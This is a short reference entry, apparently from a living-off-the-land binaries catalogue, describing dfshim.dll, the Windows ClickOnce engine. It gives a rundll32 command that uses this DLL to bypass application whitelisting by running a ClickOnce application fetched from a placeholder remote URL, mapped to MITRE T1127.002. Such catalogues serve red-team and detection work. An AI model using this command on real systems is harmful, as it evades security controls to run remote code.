Dfshim.dll

ClickOnce engine in Windows used by .NET

AWL Bypass

Use binary to bypass Application whitelisting

rundll32.exe dfshim.dll,ShOpenVerbApplication {REMOTEURL}

Executes click-once-application from URL (trampoline for Dfsvc.exe, DotNet ClickOnce host) — MITRE: T1127.002 — Privileges: User